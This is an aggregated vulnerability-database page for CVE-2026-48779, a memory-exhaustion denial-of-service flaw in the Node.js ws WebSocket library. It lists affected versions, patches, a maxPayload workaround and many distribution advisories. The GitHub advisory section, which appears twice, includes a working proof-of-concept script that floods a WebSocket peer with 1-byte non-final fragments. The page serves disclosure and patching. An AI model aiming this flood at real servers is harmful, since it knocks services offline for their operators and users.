Every CVE Search/ Get API key

CVE-2026-48779

ws: Memory exhaustion DoS from tiny fragments and data chunks

7.5 HighFix available

ws is an open source WebSocket client and server for Node.js. All versions from 1.1.0 up to (but not including) 5.2.5, from 6.0.0 up to 6.2.4, from 7.0.0 up to 7.5.11, and from 8.0.0 up to 8.21.0 are affected by a memory exhaustion DoS vulnerability. A peer can send a high volume of exceptionally small fragments and data chunks, with modest network traffic, to force the remote peer into allocating and holding structural wrappers that consume far more memory than the default documented message-size limit, leading to process termination due to OOM. This issue has been fixed in versions 5.2.5, 6.2.4, 7.5.11, and 8.21.0.

Attack profile

How easy it is to exploit

Attack vector
Network
Complexity
Low
Privileges needed
None
User interaction
None

What an attacker can affect

Confidentiality
None
Integrity
None
Availability
High

Exploit likelihood

1.43%Up 1.4 points since Jun 12, 2026
90%50%10%1%

What each source reports

CVE List Score used 7.5

ws: Memory exhaustion DoS from tiny fragments and data chunks

ws is an open source WebSocket client and server for Node.js. All versions from 1.1.0 up to (but not including) 5.2.5, from 6.0.0 up to 6.2.4, from 7.0.0 up to 7.5.11, and from 8.0.0 up to 8.21.0 are affected by a memory exhaustion DoS vulnerability. A peer can send a high volume of exceptionally small fragments and data chunks, with modest network traffic, to force the remote peer into allocating and holding structural wrappers that consume far more memory than the default documented message-size limit, leading to process termination due to OOM. This issue has been fixed in versions 5.2.5, 6.2.4, 7.5.11, and 8.21.0.

Record
CVE-2026-48779
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Weakness
CWE-400, CWE-770, CWE-1050
Updated
2026-11-02
EUVDEUVD-2026-37504 7.5

ws is an open source WebSocket client and server for Node.js. All versions from 1.1.0 up to (but not including) 5.2.5, from 6.0.0 up to 6.2.4, from 7.0.0 up to 7.5.11, and from 8.0.0 up to 8.21.0 are affected by a memory exhaustion DoS vulnerability. A peer can send a high volume of exceptionally small fragments and data chunks, with modest network traffic, to force the remote peer into allocating and holding structural wrappers that consume far more memory than the default documented message-size limit, leading to process termination due to OOM. This issue has been fixed in versions 5.2.5, 6.2.4, 7.5.11, and 8.21.0.

Record
EUVD-2026-37504
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Updated
2026-11-02
GitHub AdvisoriesGHSA-96hv-2xvq-fx4p 7.5

ws: Memory exhaustion DoS from tiny fragments and data chunks

Impact

A high volume of exceptionally small fragments and data chunks can be sent by a peer, with modest network traffic, to force the remote peer into allocating and holding structural wrappers that consume far more memory than the default documented message-size limit, leading to process termination due to OOM.

Proof of concept

import { WebSocket, WebSocketServer } from 'ws';

const wss = new WebSocketServer({ port: 0 }, function () {
  const data = Buffer.alloc(1);
  const options = { fin: false };
  const { port } = wss.address();
  const ws = new WebSocket(`ws://localhost:${port}`);

  ws.on('open', function () {
    (function send() {
      ws.send(data, options, function (err) {
        if (err) return;
        send();
      });
    })();
  });

  ws.on('error', console.error);
  ws.on('close', function (code, reason) {
    console.log(`client close - code: ${code} reason: ${reason.toString()}`);
  });
});

wss.on('connection', function (ws) {
  ws.on('error', console.error);
  ws.on('close', function (code, reason) {
    console.log(`server close - code: ${code} reason: ${reason.toString()}`);
  });
});

Patches

The vulnerability was fixed in [email protected] (https://github.com/websockets/ws/commit/bca91adf15677e47dbe4f959653452727be28b94) and backported to [email protected] (https://github.com/websockets/ws/commit/fd36cd864fcdf62a08273a99e19a7d975401fee8), [email protected] (https://github.com/websockets/ws/commit/86d3e8a5fb0246ed373860c5fbb0de88824a27f7), and [email protected] (https://github.com/websockets/ws/commit/b5372ac67bb97a773727b8e9f5035a8123556d53).

Workarounds

In vulnerable versions, the issue can be mitigated by lowering the value of the maxPayload option if possible.

Credits

The vulnerability was responsibly disclosed and fixed by Nadav Magier.

Record
GHSA-96hv-2xvq-fx4p
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Weakness
CWE-400, CWE-770, CWE-1050
Updated
2026-11-02
NVD 7.5

ws is an open source WebSocket client and server for Node.js. All versions from 1.1.0 up to (but not including) 5.2.5, from 6.0.0 up to 6.2.4, from 7.0.0 up to 7.5.11, and from 8.0.0 up to 8.21.0 are affected by a memory exhaustion DoS vulnerability. A peer can send a high volume of exceptionally small fragments and data chunks, with modest network traffic, to force the remote peer into allocating and holding structural wrappers that consume far more memory than the default documented message-size limit, leading to process termination due to OOM. This issue has been fixed in versions 5.2.5, 6.2.4, 7.5.11, and 8.21.0.

Record
CVE-2026-48779
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Weakness
CWE-400, CWE-770, CWE-1050
Updated
2026-11-02
OSV 7.5

ws: Memory exhaustion DoS from tiny fragments and data chunks

ws is an open source WebSocket client and server for Node.js. All versions from 1.1.0 up to (but not including) 5.2.5, from 6.0.0 up to 6.2.4, from 7.0.0 up to 7.5.11, and from 8.0.0 up to 8.21.0 are affected by a memory exhaustion DoS vulnerability. A peer can send a high volume of exceptionally small fragments and data chunks, with modest network traffic, to force the remote peer into allocating and holding structural wrappers that consume far more memory than the default documented message-size limit, leading to process termination due to OOM. This issue has been fixed in versions 5.2.5, 6.2.4, 7.5.11, and 8.21.0.

Record
CVE-2026-48779
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Weakness
CWE-400, CWE-770
Updated
2026-11-02
OSVDEBIAN-CVE-2026-48779 7.5

ws is an open source WebSocket client and server for Node.js. All versions from 1.1.0 up to (but not including) 5.2.5, from 6.0.0 up to 6.2.4, from 7.0.0 up to 7.5.11, and from 8.0.0 up to 8.21.0 are affected by a memory exhaustion DoS vulnerability. A peer can send a high volume of exceptionally small fragments and data chunks, with modest network traffic, to force the remote peer into allocating and holding structural wrappers that consume far more memory than the default documented message-size limit, leading to process termination due to OOM. This issue has been fixed in versions 5.2.5, 6.2.4, 7.5.11, and 8.21.0.

Record
DEBIAN-CVE-2026-48779
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Updated
2026-11-02
Show 41 moreShow less
OSVGHSA-96hv-2xvq-fx4p 7.5

ws: Memory exhaustion DoS from tiny fragments and data chunks

Impact

A high volume of exceptionally small fragments and data chunks can be sent by a peer, with modest network traffic, to force the remote peer into allocating and holding structural wrappers that consume far more memory than the default documented message-size limit, leading to process termination due to OOM.

Proof of concept

import { WebSocket, WebSocketServer } from 'ws';

const wss = new WebSocketServer({ port: 0 }, function () {
  const data = Buffer.alloc(1);
  const options = { fin: false };
  const { port } = wss.address();
  const ws = new WebSocket(`ws://localhost:${port}`);

  ws.on('open', function () {
    (function send() {
      ws.send(data, options, function (err) {
        if (err) return;
        send();
      });
    })();
  });

  ws.on('error', console.error);
  ws.on('close', function (code, reason) {
    console.log(`client close - code: ${code} reason: ${reason.toString()}`);
  });
});

wss.on('connection', function (ws) {
  ws.on('error', console.error);
  ws.on('close', function (code, reason) {
    console.log(`server close - code: ${code} reason: ${reason.toString()}`);
  });
});

Patches

The vulnerability was fixed in [email protected] (https://github.com/websockets/ws/commit/bca91adf15677e47dbe4f959653452727be28b94) and backported to [email protected] (https://github.com/websockets/ws/commit/fd36cd864fcdf62a08273a99e19a7d975401fee8), [email protected] (https://github.com/websockets/ws/commit/86d3e8a5fb0246ed373860c5fbb0de88824a27f7), and [email protected] (https://github.com/websockets/ws/commit/b5372ac67bb97a773727b8e9f5035a8123556d53).

Workarounds

In vulnerable versions, the issue can be mitigated by lowering the value of the maxPayload option if possible.

Credits

The vulnerability was responsibly disclosed and fixed by Nadav Magier.

Record
GHSA-96hv-2xvq-fx4p
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Weakness
CWE-1050, CWE-400, CWE-770
Updated
2026-11-02
OSVRHSA-2026:57590 8.6

Red Hat Security Advisory: rh-podman-desktop security, bug fix, and enhancement update

Record
RHSA-2026:57590
CVSS 3.1
8.6 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
Updated
2026-11-02
OSVROOT-APP-NPM-CVE-2026-48779 7.5

CVE-2026-48779 in ws - Patched by Root

Root has patched CVE-2026-48779 in the ws package for Root:npm. Multiple fixed versions available.

Record
ROOT-APP-NPM-CVE-2026-48779
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Updated
2026-11-06
OSVUBUNTU-CVE-2026-48779 7.5

ws is an open source WebSocket client and server for Node.js. All versions from 1.1.0 up to (but not including) 5.2.5, from 6.0.0 up to 6.2.4, from 7.0.0 up to 7.5.11, and from 8.0.0 up to 8.21.0 are affected by a memory exhaustion DoS vulnerability. A peer can send a high volume of exceptionally small fragments and data chunks, with modest network traffic, to force the remote peer into allocating and holding structural wrappers that consume far more memory than the default documented message-size limit, leading to process termination due to OOM. This issue has been fixed in versions 5.2.5, 6.2.4, 7.5.11, and 8.21.0.

Record
UBUNTU-CVE-2026-48779
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Updated
2026-11-02
OSVAZL-91415 No score

CVE-2026-48779 affecting package js-jquery 3.5.0-4

ws is an open source WebSocket client and server for Node.js. All versions from 1.1.0 up to (but not including) 5.2.5, from 6.0.0 up to 6.2.4, from 7.0.0 up to 7.5.11, and from 8.0.0 up to 8.21.0 are affected by a memory exhaustion DoS vulnerability. A peer can send a high volume of exceptionally small fragments and data chunks, with modest network traffic, to force the remote peer into allocating and holding structural wrappers that consume far more memory than the default documented message-size limit, leading to process termination due to OOM. This issue has been fixed in versions 5.2.5, 6.2.4, 7.5.11, and 8.21.0.

Record
AZL-91415
Updated
2026-11-05
OSVCLSA-2026-1784769503 No score

TuxCare security update for ws (1 CVE)

TuxCare rebuilt ws to address 1 CVE. Fixed in 8.20.0-tuxcare.2.

Record
CLSA-2026-1784769503
Updated
2026-11-02
OSVCLSA-2026-1784769533 No score

TuxCare security update for ws (1 CVE)

TuxCare rebuilt ws to address 1 CVE. Fixed in 8.18.0-tuxcare.2.

Record
CLSA-2026-1784769533
Updated
2026-11-02
OSVCLSA-2026-1784769619 No score

TuxCare security update for ws (1 CVE)

TuxCare rebuilt ws to address 1 CVE. Fixed in 4.1.0-tuxcare.2.

Record
CLSA-2026-1784769619
Updated
2026-11-02
OSVCLSA-2026-1784856221 No score

TuxCare security update for ws (1 CVE)

TuxCare rebuilt ws to address 1 CVE. Fixed in 3.3.3-tuxcare.2.

Record
CLSA-2026-1784856221
Updated
2026-11-02
OSVCLSA-2026-1785117461 No score

TuxCare security update for ws (1 CVE)

TuxCare rebuilt ws to address 1 CVE. Fixed in 1.1.1-tuxcare.2.

Record
CLSA-2026-1785117461
Updated
2026-11-02
OSVCLSA-2026-1785117464 No score

TuxCare security update for ws (1 CVE)

TuxCare rebuilt ws to address 1 CVE. Fixed in 1.1.2-tuxcare.3.

Record
CLSA-2026-1785117464
Updated
2026-11-02
OSVCLSA-2026-1785204342 No score

TuxCare security update for ws (1 CVE)

TuxCare rebuilt ws to address 1 CVE. Fixed in 8.16.0-tuxcare.1.

Record
CLSA-2026-1785204342
Updated
2026-11-02
OSVCLSA-2026-1785204343 No score

TuxCare security update for ws (1 CVE)

TuxCare rebuilt ws to address 1 CVE. Fixed in 7.5.9-tuxcare.1.

Record
CLSA-2026-1785204343
Updated
2026-11-02
OSVCLSA-2026-1785204378 No score

TuxCare security update for ws (1 CVE)

TuxCare rebuilt ws to address 1 CVE. Fixed in 6.2.1-tuxcare.1.

Record
CLSA-2026-1785204378
Updated
2026-11-02
OSVCLSA-2026-1788560406 No score

TuxCare security update for ws (3 CVEs)

TuxCare rebuilt ws to address 3 CVEs. Fixed in 8.13.0-tuxcare.1.

Record
CLSA-2026-1788560406
Updated
2026-11-02
OSVCLSA-2026-1788560420 No score

TuxCare security update for ws (3 CVEs)

TuxCare rebuilt ws to address 3 CVEs. Fixed in 7.4.5-tuxcare.1.

Record
CLSA-2026-1788560420
Updated
2026-11-02
OSVCLSA-2026-1788560439 No score

TuxCare security update for ws (3 CVEs)

TuxCare rebuilt ws to address 3 CVEs. Fixed in 6.0.0-tuxcare.1.

Record
CLSA-2026-1788560439
Updated
2026-11-02
OSVCLSA-2026-1790161419 No score

TuxCare security update for ws (1 CVE)

TuxCare rebuilt ws to address 1 CVE. Fixed in 6.2.3-tuxcare.1.

Record
CLSA-2026-1790161419
Updated
2026-11-02
OSVCLSA-2026-1790161463 No score

TuxCare security update for ws (2 CVEs)

TuxCare rebuilt ws to address 2 CVEs. Fixed in 8.11.0-tuxcare.1.

Record
CLSA-2026-1790161463
Updated
2026-11-02
OSVCLSA-2026-1790164081 No score

TuxCare security update for ws (2 CVEs)

TuxCare rebuilt ws to address 2 CVEs. Fixed in 8.5.0-tuxcare.1.

Record
CLSA-2026-1790164081
Updated
2026-11-02
OSVCLSA-2026-1790164156 No score

TuxCare security update for ws (2 CVEs)

TuxCare rebuilt ws to address 2 CVEs. Fixed in 6.2.2-tuxcare.1.

Record
CLSA-2026-1790164156
Updated
2026-11-02
OSVCLSA-2026-1790174669 No score

TuxCare security update for ws (2 CVEs)

TuxCare rebuilt ws to address 2 CVEs. Fixed in 8.2.3-tuxcare.1.

Record
CLSA-2026-1790174669
Updated
2026-11-02
OSVCLSA-2026-1790541916 No score

TuxCare security update for ws (2 CVEs)

TuxCare rebuilt ws to address 2 CVEs. Fixed in 8.18.3-tuxcare.1.

Record
CLSA-2026-1790541916
Updated
2026-11-02
OSVCLSA-2026-1790541935 No score

TuxCare security update for ws (2 CVEs)

TuxCare rebuilt ws to address 2 CVEs. Fixed in 8.17.1-tuxcare.1.

Record
CLSA-2026-1790541935
Updated
2026-11-02
OSVCLSA-2026-1790776603 No score

TuxCare security update for ws (2 CVEs)

TuxCare rebuilt ws to address 2 CVEs. Fixed in 7.5.3-tuxcare.1.

Record
CLSA-2026-1790776603
Updated
2026-11-02
OSVCLSA-2026-1792163981 No score

TuxCare security update for ws (2 CVEs)

TuxCare rebuilt ws to address 2 CVEs. Fixed in 2.3.1-tuxcare.1.

Record
CLSA-2026-1792163981
Updated
2026-11-02
OSVCLSA-2026-1792164080 No score

TuxCare security update for ws (1 CVE)

TuxCare rebuilt ws to address 1 CVE. Fixed in 7.5.10-tuxcare.1.

Record
CLSA-2026-1792164080
Updated
2026-11-02
OSVCLSA-2026-1792164186 No score

TuxCare security update for ws (3 CVEs)

TuxCare rebuilt ws to address 3 CVEs. Fixed in 7.4.3-tuxcare.1.

Record
CLSA-2026-1792164186
Updated
2026-11-02
OSVCLSA-2026-1792443025 No score

TuxCare security update for ws (3 CVEs)

TuxCare rebuilt ws to address 3 CVEs. Fixed in 7.4.0-tuxcare.1.

Record
CLSA-2026-1792443025
Updated
2026-11-02
OSVCLSA-2026-1792448229 No score

TuxCare security update for ws (2 CVEs)

TuxCare rebuilt ws to address 2 CVEs. Fixed in 8.18.2-tuxcare.1.

Record
CLSA-2026-1792448229
Updated
2026-11-02
OSVCLSA-2026-1793112519 No score

TuxCare security update for ws (3 CVEs)

TuxCare rebuilt ws to address 3 CVEs. Fixed in 6.1.4-tuxcare.1.

Record
CLSA-2026-1793112519
Updated
2026-11-02
OSVopenSUSE-SU-2026:11123-1 No score

jupyter-nbclassic-1.3.3-2.1 on GA media

These are all security issues fixed in the jupyter-nbclassic-1.3.3-2.1 package on the GA media of openSUSE Tumbleweed.

Record
openSUSE-SU-2026:11123-1
Updated
2026-11-02
OSVopenSUSE-SU-2026:11137-1 No score

python311-jupyter-ydoc-3.5.0-1.1 on GA media

These are all security issues fixed in the python311-jupyter-ydoc-3.5.0-1.1 package on the GA media of openSUSE Tumbleweed.

Record
openSUSE-SU-2026:11137-1
Updated
2026-11-02
OSVopenSUSE-SU-2026:11138-1 No score

jupyter-jupyterlab-templates-0.5.3-2.1 on GA media

These are all security issues fixed in the jupyter-jupyterlab-templates-0.5.3-2.1 package on the GA media of openSUSE Tumbleweed.

Record
openSUSE-SU-2026:11138-1
Updated
2026-11-02
OSVopenSUSE-SU-2026:11145-1 No score

heroic-games-launcher-2.22.0-3.1 on GA media

These are all security issues fixed in the heroic-games-launcher-2.22.0-3.1 package on the GA media of openSUSE Tumbleweed.

Record
openSUSE-SU-2026:11145-1
Updated
2026-11-02
OSVopenSUSE-SU-2026:11354-1 No score

jupyter-matplotlib-0.11.7-18.1 on GA media

These are all security issues fixed in the jupyter-matplotlib-0.11.7-18.1 package on the GA media of openSUSE Tumbleweed.

Record
openSUSE-SU-2026:11354-1
Updated
2026-11-02
OSVopenSUSE-SU-2026:11397-1 No score

jupyter-bqplot-jupyterlab-0.5.46-15.1 on GA media

These are all security issues fixed in the jupyter-bqplot-jupyterlab-0.5.46-15.1 package on the GA media of openSUSE Tumbleweed.

Record
openSUSE-SU-2026:11397-1
Updated
2026-11-02
OSVopenSUSE-SU-2026:11452-1 No score

agama-integration-tests-1785848065.5562c7c-4.1 on GA media

These are all security issues fixed in the agama-integration-tests-1785848065.5562c7c-4.1 package on the GA media of openSUSE Tumbleweed.

Record
openSUSE-SU-2026:11452-1
Updated
2026-11-02
OSVopenSUSE-SU-2026:11705-1 No score

kimi-code-0.41.0-1.1 on GA media

These are all security issues fixed in the kimi-code-0.41.0-1.1 package on the GA media of openSUSE Tumbleweed.

Record
openSUSE-SU-2026:11705-1
Updated
2026-11-02
OSVopenSUSE-SU-2026:21173-1 No score

Security update for python-pydata-sphinx-theme

This update for python-pydata-sphinx-theme fixes the following issues:

Changes in python-pydata-sphinx-theme:

  • Refresh js dependencies:

    • ws to 7.5.11 (bsc#1268957, CVE-2026-48779)
  • Refresh vendored tarball (CVE-2026-6321, bsc#1264374)

Record
openSUSE-SU-2026:21173-1
Updated
2026-11-02
OSVopenSUSE-SU-2026:21849-1 No score

Security update for kimi-code

This update for kimi-code fixes the following issues:

Changes in kimi-code:

Update to version 0.42.0:

  • Add an experimental Updates panel with paginated progress messages from the main agent and subagents, enabled with KIMI_CODE_EXPERIMENTAL_NOTIFY_USER=1
  • Turn the subagent model pool, Remote Control and the minidb session-index read model with the global search worker always on; their experimental flags and opt-out variables are gone, search persistence is now tuned via the [database] section
  • Give tower worker and reviewer briefings the full mission context, follow the subagent timeout for tower agents, and show each background agent's model in /tasks
  • Retrieve file search matches beyond the first 100 results, accept HEIC, HEIF and BMP images with Kimi-served models, and warn in kimi -p when project MCP servers are skipped in an untrusted folder
  • Read files with configurable character limits and resumable long-line reads, decode malformed UTF-16 with a warning, and preserve image and video filenames in session history
  • Rework the dashboard: deletable sessions, reorderable media rail, collapsed tool calls revealed with Ctrl-O, and less jank on long conversations and session reloads

Update to version 0.41.0:

  • Add experimental tower mode for multi-agent orchestration and Remote Control for reaching a local web session remotely
  • Add the WaitFor tool so the agent can wait for a background task inside the current turn, and an optional fork parameter that starts a subagent from a snapshot of the caller's history
  • Support two OAuth login methods, kimi.ai and kimi.com, and activate several skills in one prompt
  • Enable the subagent model pool in every launch mode by default and make turn-level file history unconditional
  • Add a dangerous-command guard that always asks before shutdown, reboot or rm -rf in manual and YOLO permission modes, disabled with [permission] dangerous_command_guard; auto mode never blocks
  • Remove kimi web --allow-remote-terminals; PTY terminal routes are served on loopback binds only
  • Require Edit and Write to read a file first, and reject a write when the file changed on disk since that read
  • Rework the bundled web dashboard: multi-tab right sidebar, Open/Done/Workspaces session tabs, a plugin marketplace panel and mobile bottom sheets
  • ... see upstream's release notes for the full list
  • Vendor the runtime dependencies upstream stopped inlining in 0.39.0:
    • Add ws, qrcode and qrcode's own pngjs and dijkstrajs as sources, installed into the package's private node_modules
    • Unpack the npm tarball directly instead of running npm install, which would resolve the new dependencies against the registry and pull in qrcode's CLI-only yargs tree
    • Declare the vendored trees with Provides: bundled(...)
  • CVE-2026-48779: ws denial of service from a high volume of tiny WebSocket fragments; the ws inlined in the old bundle predated the 8.21.0 fix, the vendored ws is 8.21.3 (boo#1268927)
  • CVE-2026-45736: ws uninitialized memory disclosure via websocket.close() with a TypedArray, fixed by the same ws version (boo#1269951)
  • Load the compiled node-pty addon during the build check as well
Record
openSUSE-SU-2026:21849-1
Updated
2026-11-02

Affected products

Show 38 moreShow less

Affected packages

Affected packages
PackageAffectedFixed
ws
npm
1.1.0 up to 5.2.5
5.2.5
ws
npm
6.0.0 up to 6.2.4
6.2.4
ws
npm
7.0.0 up to 7.5.11
7.5.11
ws
npm
8.0.0 up to 8.21.0
8.21.0
js-jquery
Azure Linux:3
through 3.5.0-4 None known
ws
TuxCare:npm
8.20.0-tuxcare.0 up to 8.20.0-tuxcare.2, plus listed versions
8.20.08.20.0-tuxcare.1
8.20.0-tuxcare.2
ws
TuxCare:npm
8.18.0-tuxcare.0 up to 8.18.0-tuxcare.2, plus listed versions
8.18.08.18.0-tuxcare.1
8.18.0-tuxcare.2
ws
TuxCare:npm
4.1.0-tuxcare.0 up to 4.1.0-tuxcare.2, plus listed versions
4.1.04.1.0-tuxcare.1
4.1.0-tuxcare.2
ws
TuxCare:npm
3.3.3-tuxcare.0 up to 3.3.3-tuxcare.2, plus listed versions
3.3.33.3.3-tuxcare.1
3.3.3-tuxcare.2
ws
TuxCare:npm
1.1.1-tuxcare.0 up to 1.1.1-tuxcare.2, plus listed versions
1.1.11.1.1-tuxcare.1
1.1.1-tuxcare.2
Show 45 moreShow less
Affected packages
PackageAffectedFixed
ws
TuxCare:npm
1.1.2-tuxcare.0 up to 1.1.2-tuxcare.3, plus listed versions
1.1.21.1.2-tuxcare.11.1.2-tuxcare.2
1.1.2-tuxcare.3
ws
TuxCare:npm
8.16.0-tuxcare.0 up to 8.16.0-tuxcare.1, plus listed versions
8.16.0
8.16.0-tuxcare.1
ws
TuxCare:npm
7.5.9-tuxcare.0 up to 7.5.9-tuxcare.1, plus listed versions
7.5.9
7.5.9-tuxcare.1
ws
TuxCare:npm
6.2.1-tuxcare.0 up to 6.2.1-tuxcare.1, plus listed versions
6.2.1
6.2.1-tuxcare.1
ws
TuxCare:npm
From an advisory covering 3 CVEs
8.13.0-tuxcare.0 up to 8.13.0-tuxcare.1, plus listed versions
8.13.0
8.13.0-tuxcare.1
ws
TuxCare:npm
From an advisory covering 3 CVEs
7.4.5-tuxcare.0 up to 7.4.5-tuxcare.1, plus listed versions
7.4.5
7.4.5-tuxcare.1
ws
TuxCare:npm
From an advisory covering 3 CVEs
6.0.0-tuxcare.0 up to 6.0.0-tuxcare.1, plus listed versions
6.0.0
6.0.0-tuxcare.1
ws
TuxCare:npm
6.2.3-tuxcare.0 up to 6.2.3-tuxcare.1, plus listed versions
6.2.3
6.2.3-tuxcare.1
ws
TuxCare:npm
From an advisory covering 2 CVEs
8.11.0-tuxcare.0 up to 8.11.0-tuxcare.1, plus listed versions
8.11.0
8.11.0-tuxcare.1
ws
TuxCare:npm
From an advisory covering 2 CVEs
8.5.0-tuxcare.0 up to 8.5.0-tuxcare.1, plus listed versions
8.5.0
8.5.0-tuxcare.1
ws
TuxCare:npm
From an advisory covering 2 CVEs
6.2.2-tuxcare.0 up to 6.2.2-tuxcare.1, plus listed versions
6.2.2
6.2.2-tuxcare.1
ws
TuxCare:npm
From an advisory covering 2 CVEs
8.2.3-tuxcare.0 up to 8.2.3-tuxcare.1, plus listed versions
8.2.3
8.2.3-tuxcare.1
ws
TuxCare:npm
From an advisory covering 2 CVEs
8.18.3-tuxcare.0 up to 8.18.3-tuxcare.1, plus listed versions
8.18.3
8.18.3-tuxcare.1
ws
TuxCare:npm
From an advisory covering 2 CVEs
8.17.1-tuxcare.0 up to 8.17.1-tuxcare.1, plus listed versions
8.17.1
8.17.1-tuxcare.1
ws
TuxCare:npm
From an advisory covering 2 CVEs
7.5.3-tuxcare.0 up to 7.5.3-tuxcare.1, plus listed versions
7.5.3
7.5.3-tuxcare.1
ws
TuxCare:npm
2.3.1-tuxcare.0 up to 2.3.1-tuxcare.1, plus listed versions
2.3.1
2.3.1-tuxcare.1
ws
TuxCare:npm
7.5.10-tuxcare.0 up to 7.5.10-tuxcare.1, plus listed versions
7.5.10
7.5.10-tuxcare.1
ws
TuxCare:npm
From an advisory covering 3 CVEs
7.4.3-tuxcare.0 up to 7.4.3-tuxcare.1, plus listed versions
7.4.3
7.4.3-tuxcare.1
ws
TuxCare:npm
From an advisory covering 3 CVEs
7.4.0-tuxcare.0 up to 7.4.0-tuxcare.1, plus listed versions
7.4.0
7.4.0-tuxcare.1
ws
TuxCare:npm
From an advisory covering 2 CVEs
8.18.2-tuxcare.0 up to 8.18.2-tuxcare.1, plus listed versions
8.18.2
8.18.2-tuxcare.1
ws
TuxCare:npm
From an advisory covering 3 CVEs
6.1.4-tuxcare.0 up to 6.1.4-tuxcare.1, plus listed versions
6.1.4
6.1.4-tuxcare.1
node-ws
Debian:12
All versions, plus listed versions
8.11.0+~cs13.7.3-18.11.0+~cs13.7.3-28.18.0+~cs13.7.11-18.18.0+~cs14.5.15-18.18.1+~cs14.18.2-1
Show 5 moreShow less
8.19.0+~cs14.19.1-18.20.1+~cs14.19.1-18.21.0+~cs14.19.1-18.21.1+~cs14.19.1-18.21.3+~cs14.19.1-1
None known
node-ws
Debian:13
All versions, plus listed versions
8.18.1+~cs14.18.2-18.19.0+~cs14.19.1-18.20.1+~cs14.19.1-18.21.0+~cs14.19.1-18.21.1+~cs14.19.1-18.21.3+~cs14.19.1-1
None known
node-ws
Debian:14
before 8.21.0+~cs14.19.1-1, plus listed versions
8.18.1+~cs14.18.2-18.19.0+~cs14.19.1-18.20.1+~cs14.19.1-1
8.21.0+~cs14.19.1-1
rh-podman-desktop
Red Hat:enterprise_linux:10.2
From an advisory covering 24 CVEs
before 0:1.1.2-1.el10_2
0:1.1.2-1.el10_2
ws
Root:npm
before 6.2.2-aikido.2
6.2.2-aikido.25.2.4-aikido.18.17.1-aikido.28.18.0-aikido.28.18.2-aikido.28.19.0-aikido.28.20.0-aikido.27.5.10-aikido.18.13.0-aikido.18.18.1-aikido.28.20.1-aikido.18.13.0-aikido.26.2.3-aikido.18.17.1-aikido.38.18.3-aikido.28.14.2-aikido.17.5.9-aikido.18.6.0-aikido.18.11.0-aikido.17.5.5-aikido.18.5.0-aikido.18.2.3-aikido.17.5.5-aikido.25.2.3-aikido.17.5.8-aikido.17.5.7-aikido.17.5.8-aikido.27.5.7-aikido.2
@rootio/ws
Root:npm
before 6.2.2-root.io.2
6.2.2-root.io.25.2.4-root.io.18.17.1-root.io.28.18.0-root.io.28.18.2-root.io.28.19.0-root.io.28.20.0-root.io.27.5.10-root.io.18.13.0-root.io.18.18.1-root.io.28.20.1-root.io.18.13.0-root.io.26.2.3-root.io.18.17.1-root.io.38.18.3-root.io.28.14.2-root.io.17.5.9-root.io.18.6.0-root.io.18.11.0-root.io.17.5.5-root.io.18.5.0-root.io.18.2.3-root.io.17.5.5-root.io.25.2.3-root.io.17.5.8-root.io.17.5.7-root.io.17.5.8-root.io.27.5.7-root.io.2
node-ws
Ubuntu:16.04:LTS
All versions, plus listed versions
0.7.2+ds1.349b7460-11.0.1+ds1.e6ddaae4-1
None known
node-ws
Ubuntu:18.04:LTS
All versions, plus listed versions
1.1.0+ds1.e6ddaae4-3build11.1.0+ds1.e6ddaae4-3ubuntu1
None known
node-ws
Ubuntu:20.04:LTS
All versions, plus listed versions
1.1.0+ds1.e6ddaae4-57.2.1-27.2.1-3
None known
node-ws
Ubuntu:22.04:LTS
All versions, plus listed versions
7.4.2+~cs18.0.8-27.5.5+~cs13.0.13-18.5.0+~cs13.3.3-2
None known
node-ws
Ubuntu:24.04:LTS
All versions, plus listed versions
8.11.0+~cs13.7.3-18.11.0+~cs13.7.3-2
None known
node-ws
Ubuntu:25.10
All versions, plus listed versions
8.18.0+~cs14.5.15-18.18.1+~cs14.18.2-1
None known
node-ws
Ubuntu:26.10
All versions, plus listed versions
8.19.0+~cs14.19.1-18.20.1+~cs14.19.1-18.21.3+~cs14.19.1-1
None known
node-ws
Ubuntu:26.04:LTS
All versions, plus listed versions
8.18.1+~cs14.18.2-18.19.0+~cs14.19.1-1
None known
python-nbclassic
openSUSE:Tumbleweed
before 1.3.3-2.1
1.3.3-2.1
python-jupyter-ydoc
openSUSE:Tumbleweed
before 3.5.0-1.1
3.5.0-1.1
python-jupyterlab-templates
openSUSE:Tumbleweed
before 0.5.3-2.1
0.5.3-2.1
heroic-games-launcher
openSUSE:Tumbleweed
From an advisory covering 2 CVEs
before 2.22.0-3.1
2.22.0-3.1
python-ipympl
openSUSE:Tumbleweed
before 0.10.0-18.1
0.10.0-18.1
python-bqplot
openSUSE:Tumbleweed
before 0.13.1-15.1
0.13.1-15.1
agama-integration-tests
openSUSE:Tumbleweed
From an advisory covering 4 CVEs
before 1785848065.5562c7c-4.1
1785848065.5562c7c-4.1
kimi-code
openSUSE:Tumbleweed
From an advisory covering 2 CVEs
before 0.41.0-1.1
0.41.0-1.1
python-pydata-sphinx-theme
openSUSE:Leap 16.0
From an advisory covering 2 CVEs
before 0.16.1-bp160.2.1
0.16.1-bp160.2.1
kimi-code
openSUSE:Leap 16.0
From an advisory covering 2 CVEs
before 0.42.0-bp160.1.1
0.42.0-bp160.1.1

History

History
RecordedChangedSources
affectedOSV
affected
affected, factsOSV
first indexedCVE List, EUVD, GitHub Advisories, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

